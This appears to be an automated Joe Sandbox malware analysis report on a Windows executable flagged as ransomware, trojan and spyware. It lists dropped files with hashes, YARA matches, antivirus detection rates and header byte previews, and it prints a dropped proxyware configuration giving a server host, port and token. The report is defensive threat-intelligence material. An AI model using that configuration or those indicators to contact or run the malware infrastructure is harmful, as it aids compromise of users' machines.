192.168.21.155
192.168.21.154
192.168.21.159
192.168.21.158
192.168.21.160
192.168.21.164
192.168.21.163
192.168.21.162
192.168.21.161
192.168.21.146

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1464591
Start date and time:	2024-06-29 08:04:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 17m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	67
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	38iGnQnL33.exe renamed because original name is a hash value
Original Sample Name:	f9f5342074462fa1048fea806eef535f.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@88/180@20/100
EGA Information:	Successful, ratio: 55.6%
HCA Information:	Successful, ratio: 60% Number of executed functions: 78 Number of non-executed functions: 314
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample based on specific behavior

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 192.229.221.95, 23.43.61.160
Excluded domains from analysis (whitelisted): web.362-com.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ssl.ftp21.cc, fe3cr.delivery.mp.microsoft.com, web.4i7i.com
Execution Graph export aborted for target Meson.exe, PID 6732 because there are no executed function
Execution Graph export aborted for target MpMgSvc.exe, PID 2800 because it is empty
Execution Graph export aborted for target Traffmonetizer.exe, PID 17064 because it is empty
Execution Graph export aborted for target ctfmoon.exe, PID 9236 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:05:23	API Interceptor	3x Sleep call for process: MpMgSvc.exe modified
02:05:23	API Interceptor	3016076x Sleep call for process: svchost.exe modified
02:05:27	API Interceptor	21x Sleep call for process: powershell.exe modified
02:06:04	API Interceptor	4286494x Sleep call for process: Traffmonetizer.exe modified

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.363788168458258
Encrypted:	false
SSDEEP:	6:6xPoaaD0JOCEfMuaaD0JOCEfMKQmDNOxPoaaD0JOCEfMuaaD0JOCEfMKQmDN:1aaD0JcaaD0JwQQbaaD0JcaaD0JwQQ
MD5:	0E72F896C84F1457C62C0E20338FAC0D
SHA1:	9C071CC3D15E5BD8BF603391AE447202BD9F8537
SHA-256:	686DC879EA8690C42D3D5D10D0148AE7110FA4D8DCCBF957FB8E41EE3D4A42B3
SHA-512:	AAA5BE088708DABC2EC9A7A6632BDF5700BE719D3F72B732BD2DFD1A3CFDD5C8884BFA4951DB0C499AF423EC30B14A49A30FBB831D1B0A880FE10053043A4251
Malicious:	false
Reputation:	unknown
Preview:	*.>...........&.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................&.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3107539696960613
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr9:KooCEYhgYEL0In
MD5:	30A068761A80C080EEDC1477446DE013
SHA1:	A61A505A7590311510EED382B4868D43AF0D7578
SHA-256:	5EBD40ABABD196BD2E742FDB936AB8A963AA5D8CC05AF910344AAD4648C788C3
SHA-512:	960A7F05CE1A5BEA208CDF7FBEFF67974F4162BC428BD8EBBB08039500783F79FBF76093987E1E0083531F4FA56F9DF741D06C0149F0C5AF5459ECC4F5AAA95D
Malicious:	false
Reputation:	unknown
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9cbb3486, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4222199044691464
Encrypted:	false
SSDEEP:	1536:3SB2ESB2SSjlK/uedMrSU0OrsJzvqYkr3g16f2UPkLk+ku4/Iw4KKazAkUk1k2DO:3azag03A2UrzJDO
MD5:	8162CC9B703245D9B5C81C6D4DF9502C
SHA1:	ACB650525797D64EF241A0DE212B72F4B9C501E4
SHA-256:	D8C530FFBEF15F6BD903D0F47CF8407643062430FD2E429B9C327C77F3AF8C8F
SHA-512:	02BF3590841E1E64032B1055F1F300F26BB02E150CDC9D3B4F8BAA27BA0F96168B9E69F4B280F788398AA130FCE6EC12AC760BABA079EA98CC7FB8C302EEC16F
Malicious:	false
Reputation:	unknown
Preview:	..4.... .......Y.......X\...;...{......................n.%..........\|.......\|..h.#..........\|..n.%.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{.....................................q.....\|..................Z@-......\|...........................#......n.%.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07717021737925622
Encrypted:	false
SSDEEP:	3:clWetYeRf4jZO4K1lYZ8ld2opA0vC9C4K1lollOE/tlnl+/rTc:UTzRf4jZO4Kc8ldNpN65KQpMP
MD5:	F189EA5C2A47A82F40B753C453D8FDDB
SHA1:	711A98CF382D1012580A8CEBA35FF93BF07268D3
SHA-256:	94FBD7ECF53A69C152BC583FFB7E6B395BC9B775A274F0FDD118322A8A456361
SHA-512:	BAE628DAA6DFFBC771404D11678283E9F0D7BBADEBFE366B1FCE895040E8BB0D3A351E09753E291BB02737D07ECC7F58C73190468BC5377982097BF05B3128C8
Malicious:	false
Reputation:	unknown
Preview:	".f......................................;...{.......\|.......\|...............\|.......\|..."m......\|..................Z@-......\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\MSSQLH.exe

Download File

Process:	C:\Users\user\Desktop\38iGnQnL33.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446464
Entropy (8bit):	5.983268835633377
Encrypted:	false
SSDEEP:	12288:UXx0QTpUFuegQsEAB+yGk//4Yre94vSZGk//4Yre9746T:Cx0QTpU38h3trEV3trx
MD5:	214F53C5C0181D9E0531C48D46ED0881
SHA1:	4D5629A5FBB29439B66CAF98C5CEC56730118ECD
SHA-256:	224BF0BD119EF5C8AED25875CB66F62F9E2054DEA8DE5A3083CC43468A5DA0DA
SHA-512:	A941EC678F6EB05C3C7692DC5B297CCEA552E30B0CDAB123111E39527FD51A2B9B16B9956ECFCCF05193518BEE5478D7562C5A4B4E0338016032E5384CB19C5A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: C:\Users\user\Desktop\MSSQLH.exe, Author: Joe Security Rule: APT17_Sample_FXSST_DLL, Description: Detects Samples related to APT17 activity - file FXSST.DLL, Source: C:\Users\user\Desktop\MSSQLH.exe, Author: Florian Roth Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: C:\Users\user\Desktop\MSSQLH.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 72%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!...O..O..O...C..O.u....O.5.A..O..E.0.O.^.E..O.u....O..N...O..D...O..O..O.^.D..O.Rich..O.........................PE..L.../.sf.................P...........^.......`....@..........................P.......................................................................................................................................`...............................text...NJ.......P.................. ..`.rdata...D...`...P...`..............@..@.data............ ..................@...........................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Logs\RunDllExe.dll

Download File

Process:	C:\Users\user\Desktop\MSSQLH.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	176572
Entropy (8bit):	5.0268383732847095
Encrypted:	false
SSDEEP:	3072:x5VK0lTSG9xoC+CQpiU5MvUOGk//qmwYre9BN0N4w:E0T9xB+CU4Gk//vwYre9BmN
MD5:	438018DBD817FED02425D64675C7419E
SHA1:	A6BA047AF16CB35167690811284930556EA551D2
SHA-256:	034DCEC5F7393DFCDD9E6180C334A12209250D22A3A07F4A2840BFFDADAACD07
SHA-512:	98F308FE92C6E456A8E4474A6D82AE1EAACA1EFF6B6B88DBA0426F1EA458AFFFD1C0DDEF22AC1617E4ACD4432BCE5F2D9F1BC7396A0A82C738BD1EA233276EF8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........M.u.,.&.,.&.,.&.G.'.,.&.G.'.,.&.G.'.,.&.X.'.,.&.X.'.,.&.X.'.,.&.G.'.,.&.,.&.,.&FX.'.,.&FX{&.,.&.,.&.,.&FX.'.,.&Rich.,.&........PE..d...=.rf.........." .........`...............................................`............`.................................................dZ..x....@....... ...............P..X....G..p...........................pG..8............................................text............................... ..`.rdata..............................@..@.data...X....p.......P..............@....pdata....... ......................@..@_RDATA.......0......................@..@.rsrc........@......................@..@.reloc..X....P......................@..B........................................................................................................................................................................................................

C:\Windows\Microsoft.NET\.node_id

Download File

Process:	C:\Windows\Microsoft.NET\Meson.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:J3n:J3
MD5:	26A4ACB5EDCA747A866E7DF6DB099624
SHA1:	6DB2D29301A3D2C4C95E7D6AFCABD0E5D71DFA91
SHA-256:	1A931923D5453D5030016A7A6ADCDF302E2E424702FACB150AA80FF33DF403DC
SHA-512:	86EA912A43A40D990B463369E97FC725995120C3ED15272308D06A7C02DE8728AA51A5073EFD9BF7847B340EA9FB6637ECC953F0B5836A723D32838083F7EA88
Malicious:	false
Reputation:	unknown
Preview:	m.4..*.v

C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1648640
Entropy (8bit):	7.9366972422071305
Encrypted:	false
SSDEEP:	49152:TgCwUI2zMCsThgKx7epXo6Ekk6Jy63g9iugMN51fP:Tg9msFgs6u6rk2FgYugMr
MD5:	72762B7AC7C6DFDC7B1C3B3A5171103A
SHA1:	1FF4EB16282C076FBE98C589BA0218A1B39672BE
SHA-256:	ECC5A64D97D4ADB41ED9332E4C0F5DC7DC02A64A77817438D27FC31C69F7C1D3
SHA-512:	A8F281DA8160A62CF5F07273CC5C3C62DC8AA0AA33F75ABD22E9D49B366A63C214274BD1B7140A1C4773584A451A2B54722991880999386D6924932953A6DE14
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 77%, Browse
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........*.d.K.7.K.7.K.7. .6.K.7. .6&K.7.$+7.K.7.?.6.K.7.?.6.K.7.?.6.K.7. .6.K.77?.6.K.7. .6.K.7.K.7.J.7T>.6.I.77?.6HK.77?.6.K.77?)7.K.7.KA7.K.77?.6.K.7Rich.K.7........................PE..d.....Gc.........."...... ........S.P.m...S....@............................. m...........`...................................................m.L.....m.......i............$.m...............................m.(.....m.8...........................................UPX0......S.............................UPX1..... ....S.....................@....rsrc.........m...... ..............@..............................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\Microsoft.NET\Meson.exe

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9380352
Entropy (8bit):	6.966501204115597
Encrypted:	false
SSDEEP:	98304:98VhQL+o4UQYQKJme8BR0TH/pDnP6lYucNSZGz3NUg4JkRtNcZ2N/CM:uVUDJmbBR0TH/pTixcNT3yg4JkRt+y
MD5:	87C8B215C031443D630DA6C18088F89A
SHA1:	7A17A9026EC093C4571C13C2FC128B27FBD66A11
SHA-256:	0CAEDCF61C3BFE2DA33B30ADF2F5F2C1530B6907F133F4289519A56CC5C1BAE6
SHA-512:	48D5565F5DA60371B79D2C380A63C7B416A220AE7F52656BA4ED9447CF55AB73A05C4165C61C2A95C4E586B2BAF483B0B97DCFF77C76CADFE039690DED35C43E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 1%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L............+............-..........p........\...@..........................0............@..................................`...............................p.......................................................\..............................text.....-.......-................. ..`.rdata.. ./...-.../...-.............@..@.data........\.......\.............@.../4......'....pa.......^.............@..B/19.....T_....a..`....^.............@..B/32..........i.......g.............@..B/46..........k.......h.............@..B/65.....~.....k.......h.............@..B/78.....h....Pz......Xw.............@..B/90..........0...0...6..............@..B.idata.......`.......f..............@....reloc...*...p...,...j..............@..B.symtab.>..............................B........................................................................................................

C:\Windows\Microsoft.NET\ctfmoon.exe

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9501960
Entropy (8bit):	7.0256823838767835
Encrypted:	false
SSDEEP:	196608:FQwfQzHzARHblaR6cnawftA3YTcd1Oc5h2D:dQTzuoRbBfQYT042YD
MD5:	1DE26EF85F7218E1DF4ED675FA2B05D4
SHA1:	E5217FA3B50F625D84D5E5C4B66C031F7A2446AE
SHA-256:	FDD762192D351CEA051C0170840F1D8D171F334F06313A17EBA97CACB5F1E6E1
SHA-512:	ADA80A9F97BEC76899ECCC40C646387A067A201663D4D0F4537AF450EA7C92DF877F017862634E32E9E2BA08CA6D41806DC03F0DFD7F811CA303B56B1AC17D92
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 65% Antivirus: Virustotal, Detection: 62%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..........$"...........2/..H.......E........Y...@..........................`......;....@..................................0..........................+...@........................................................Y..............................text....0/......2/................. ..`.rdata..@v..P/..x..6/.............@..@.data....J....Y..H....Y.............@.../4......'.... c......._.............@..B/19....._n...0c..p...._.............@..B/32......c....k..d...hh.............@..B/46.....*.....m.......i.............@..B/65.....M.... m.......i.............@..B/78..........0\|.......x.............@..B/90.....`Y......Z...n..............@..B.idata.......0.....................@....reloc.......@.....................@..B.symtab......`........................B........................................................................................................

C:\Windows\Microsoft.NET\root_conf\default.toml

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	390
Entropy (8bit):	4.918545563326669
Encrypted:	false
SSDEEP:	12:L59QimSldBAsqDoCXJ8gQQd06zHEUoP0/AEDx2ATvXmY+:t9hmSDBAsqDqVQSbzP/EDEATvXv+
MD5:	9E3D810A244768218AF8FC0499BD5DD7
SHA1:	660CB236BAF95C83E0ACD64E3F607FBEB199A1E0
SHA-256:	E864D44EC86EAA38112C3BFCFC21B078CC59E11F984C0441989E8606197357E2
SHA-512:	8F9AC0DEDE89A68202EB858CDA086727EBBBA3FDFB4FA43CE2D52CDD5E69C89F66A171FAE371CA29B4D65DC04862CBCB71E58BE48E8DCC520E1DB3B27A093F2B
Malicious:	false
Reputation:	unknown
Preview:	token = 'psxmljlfsqkrqmooa9763ca046a3bf9d'.tracking_id = ''.#.os_type = 'windows'.os_name = 'os_name' .os_version = 'os_version' .product = 'product' ..[package].package_id = 63.package_version = '0.0.300'..[build].mode = 'release' #debug..[log].log_to_file = false.log_dir = "logs".print_logo = true.level = 'INFO'..[server].host = 'gtxvdqvuweqs.com'.port = 5060..[satellite].port = 36060.

C:\Windows\Microsoft.NET\traffmonetizer\Base.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	108672
Entropy (8bit):	6.069332930108557
Encrypted:	false
SSDEEP:	1536:KX+nV0+enLI1YfWRVZgzjwegXJCoKe5zPcTISUNLLqcxW0r/2Wn6IFpRyKM:YqQICQBzJCoKeyrUNL7xVr/2C6ojA
MD5:	C3935313BBF380CD8D3CB336A5E3C8E8
SHA1:	C09F0B894EE5A6A59DEA194E94B42FFF29B53F38
SHA-256:	4D0409C6DB0B0AF97F5FC57EBE2248C1632AEB836A5EA1EEAAD64F57A4EB662B
SHA-512:	6525F98811CB277FBAE75E278FCA7997C6A6993B3F3F163A3C98DA85055305D7A61917981625F113C448B8A397D3C5A143DB2C8B131E5E4395205E34DC7C48A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4% Antivirus: Virustotal, Detection: 1%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b........... .....n............... ........@.. ....................................`.................................4...W....................v...2........................................................... ............... ..H............text....m... ...n.................. ..`.rsrc................p..............@..@.reloc...............t..............@..B................p.......H...........D...............8...........................................z.(......}.....(....o....}.........0...........{......E............8...Z...u..................}..... (`.3}......}.......}..... ....}......}.......}......{.... .da}......}.......}..... ..R.}......}.......}......{.... ..b.a}......}.......}..... Q+.n}......}.......}..... 6..t}......}.......}........{.....s....z.2.{.....0...*....0..<........{......3..{....(....o....3...}......+..s.......{....}..

C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20872
Entropy (8bit):	6.448532891103289
Encrypted:	false
SSDEEP:	384:69P2wZOXm7YJVHTe+0VJI0vrdaVemxO/f7vWeq/WIdHRN7bg30uw7lGsV9W+:u2zmYrHCV9cIL6TbtCSW
MD5:	1EE251645B8A54A116D6D06C83A2BD85
SHA1:	5DBF1534FFBFF016CC45559EB5EFF3DC4252A522
SHA-256:	075CE79E84041137C78885B3738C1B5A03547D0AE2A79916E844196A9D0EC1DB
SHA-512:	9F67FD0566EAC2DA4253D08697DAAB427E4E85780615D940F086A88424DCBB0563ABAE7E4824088E64EF7024C1BB3BBF324F2D07BC7BA55F79E4AF3C9EA88E97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....d..........." ..0..$...........C... ...`....... ....................................`.................................oC..O....`...................#..........\|B..T............................................ ............... ..H............text....#... ...$.................. ..`.rsrc........`.......&..............@..@.reloc...............,..............@..B.................C......H.......4&.......................A........................................(......(.....0....................(....}.....6.\|.....(...+:.\|......(...+:.\|......(...+2.\|....(......{....%-.&.\|....s.....(....%-.&.{...."..(....>..}......}......0...........{....o........{....(....Z..}......}......}....N.{......{....s....N.{.....{.....s....v.{.....{....o ....{....s!.....(...."..s.....0.....................s"...&...s".....{#..."..}#...*.0..F.........{$....Xh}$.....}%.

C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	62840
Entropy (8bit):	6.215415444225501
Encrypted:	false
SSDEEP:	768:N96JW7DoYna6RYAtVN0x05uetEHfPzmlXg7UI7QjK4+B4tJIgst6SVdQQvx24DvE:iALax05SylVqQj9Ig4CSvE
MD5:	D8575DFAAE8ED7D421CDF01C8CF5D867
SHA1:	FF1C551150FED59F4C972ACF88746C08EAB7698F
SHA-256:	C8B9C8E7032A7A4EC4BC2EE68824F20E114CB5FD9002C3DCB58AE98B77C47DD8
SHA-512:	ABE335BB72182DAAEF65EF4EB428E879ACA9F4C8A19A4BFE5619E2D51069767E5D03BC3492B30DDA8A37606EFFA993057D3B3C2120DFB72AA92B468741DD9D71
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....{8..........." ..0.............~.... ........... .......................@......50....`.................................)...O.......<...............x#... ...... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...<...........................@..@.reloc....... ......................@..B................].......H.......TZ..L.............................................................( .....( ....0..A........-.r...ps!...z..-..+..o"....Xo#....,..($....r...p(%...o&...o'...6..ss...(....:.((.....}....6.{.....of...6.{.....og...>.{.......s%...b.{..........%.....s%.....0...........()...,.r...ps!...z...(........sK.....{.....(;.....oN...{;.......,I.. ....3A.oL....(..... ....3.r3..p(+...(%...s....zrq..p..^...(,...s....z*r...ps....z.0...........~-...(....,.r9..ps/...z.()...,.r}..ps/.

C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	502136
Entropy (8bit):	6.137252537752353
Encrypted:	false
SSDEEP:	6144:Arimdx/KcwESYmv0aAAPJ1YFChXkXHQNAD66Vxl3KX/5PoFb4p+X8p:CFFGBhcLXHQNAG6VK5oX8p
MD5:	5DFB71A97B10D00DEA71F443FDFD732F
SHA1:	C7D9B0F37BF40A4677E243A4D16454F3475853A2
SHA-256:	D9ECB8CD1AC822A14E65F7C7F5F3FCB262FA23FB7C721A59321BDB467BCBAD14
SHA-512:	8E84B1D442E11A5B6C16EFE0CD44BC0F27BFD141A7B812CE2E32B3CC0697D8F9B2155BB60EE48934B4A907C2ABD181BDCAFA5D7BF4AC4DEC91120733428D6EBA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....y]..........." ..0..z............... ........... ..............................Z&....`.................................[...O.......................x#..........T...T............................................ ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H........]...9...........................................................{R.....{S...V.(T.....}R.....}S......0..A........u1.......4.,/(U....{R....{R...oV...,.(W....{S....{S...oX...... l.p. )UU.Z(U....{R...oY...X )UU.Z(W....{S...oZ...X...0..b........r...p......%..{R......%q4....4...-.&.+...4...o[....%..{S......%q5....5...-.&.+...5...o[....(\.....{].....{^...V.(T.....}].....}^....0..A........u6.......4.,/(U....{]....{]...oV...,.(W....{^....{^...oX...... Nm.+ )UU.

C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Win32.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21216
Entropy (8bit):	6.900655456226697
Encrypted:	false
SSDEEP:	384:/N9VWhX3WsQBm0GftpBjvmaQHRN7YlgaGn7rJd0:1GmViYL0Gff0
MD5:	76B8D417C2F6416FA81EACC45977CEA2
SHA1:	7B249C6390DFC90EF33F9A697174E363080091EF
SHA-256:	5EAA2E82A26B0B302280D08F54DC9DA25165DD0E286BE52440A271285D63F695
SHA-512:	3B510CDC45C94BE383C91687C2CB01A501BA34E3FBB66346214FC576D6F0E63C77D1D09C6419FC907F5B083387A7046C0670377AD2E00C3EC2E731275739F9C7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............(... ...@....... ....................................@.................................T(..O....@..0................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l...\|...#~......<...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.7...K.W...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21176
Entropy (8bit):	6.887075475210058
Encrypted:	false
SSDEEP:	384:uDNxWQFW5+109m0GftpBj9yaQHRN7SAl78oSwDnu/L:uDNV+Vi+LSyaw6L
MD5:	8CC4C7DFEB41B6C227488CE52D1A8E74
SHA1:	93702135DB0646B893BABE030BD8DC15549FF0C2
SHA-256:	9DC115AC4AADD6A94D87C7A8A3F61803CC25A3D73501D7534867DF6B0D8A0D39
SHA-512:	E4DA7E3AE5CA31E566EA0475E83D69D998253FB6D689970703A5AD354A2AAD1BB78D49A2C038F0A3C84A188D091696191B04E4A39253DEB3B6CB310B72F02F97
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0.............f(... ...@....... ..............................ZY....@..................................(..O....@...................>...`.......&............................................... ............... ..H............text...l.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................H(......H.......P ......................\&......................................BSJB............v4.0.30319......l...\|...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.....K.N...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20856
Entropy (8bit):	6.425485073687783
Encrypted:	false
SSDEEP:	384:/rMdp9yXOfPfAxR5zwWvYW8a2cyHRN7vCvlbLg:/rMcXP6N6e
MD5:	ECDFE8EDE869D2CCC6BF99981EA96400
SHA1:	2F410A0396BC148ED533AD49B6415FB58DD4D641
SHA-256:	ACCCCFBE45D9F08FFEED9916E37B33E98C65BE012CFFF6E7FA7B67210CE1FEFB
SHA-512:	5FC7FEE5C25CB2EEE19737068968E00A00961C257271B420F594E5A0DA0559502D04EE6BA2D8D2AAD77F3769622F6743A5EE8DAE23F8F993F33FB09ED8DB2741
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..$..........BC... ...`....... ....................................@..................................B..O....`..@...............x#...........A............................................... ............... ..H............text...H#... ...$.................. ..`.rsrc...@....`.......&..............@..@.reloc...............,..............@..B................$C......H........'...............?..X...8A......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(.....~....2r...p.(....B.....(.........R.....(...+%-.&(!...^.....("....(...+&~.....s$..."..s%.....(&........0......................

C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
